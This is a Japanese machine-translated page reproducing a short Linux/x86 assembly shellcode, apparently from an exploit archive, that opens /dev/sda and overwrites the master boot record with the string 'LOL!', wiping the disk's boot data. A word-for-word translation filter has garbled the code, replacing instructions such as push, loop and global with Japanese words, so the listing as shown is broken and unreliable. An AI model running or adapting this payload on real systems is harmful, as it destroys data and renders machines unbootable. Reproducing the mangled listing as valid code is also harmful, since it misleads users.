このページはEtoJ逐語翻訳フィルタによって翻訳生成されました。

翻訳前ページへ


Linux/x86 - overwrite MBR on /dev/sda with LOL! - 43 bytes
; linux/x86 overwrite MBR on /dev/sda with `LOL!' 43 bytes
; root@thegibson
; 2010-01-15
 
section .text
        全世界の _start
 
_start:
        ; open("/dev/sda", O_WRONLY);
        mov al, 5
        xor ecx, ecx
        押し進める ecx
        押し進める dword 0x6164732f
        押し進める dword 0x7665642f
        mov ebx, esp
        inc ecx
        int 0x80
 
        ; 令状(fd, "LOL!"x128, 512);
        mov ebx, eax
        mov al, 4
        cdq
        押し進める edx
        mov cl, 128
        fill:
                押し進める dword 0x214c4f4c
        宙返り飛行 fill
        mov ecx, esp
        inc edx
        shl edx, 9
        int 0x80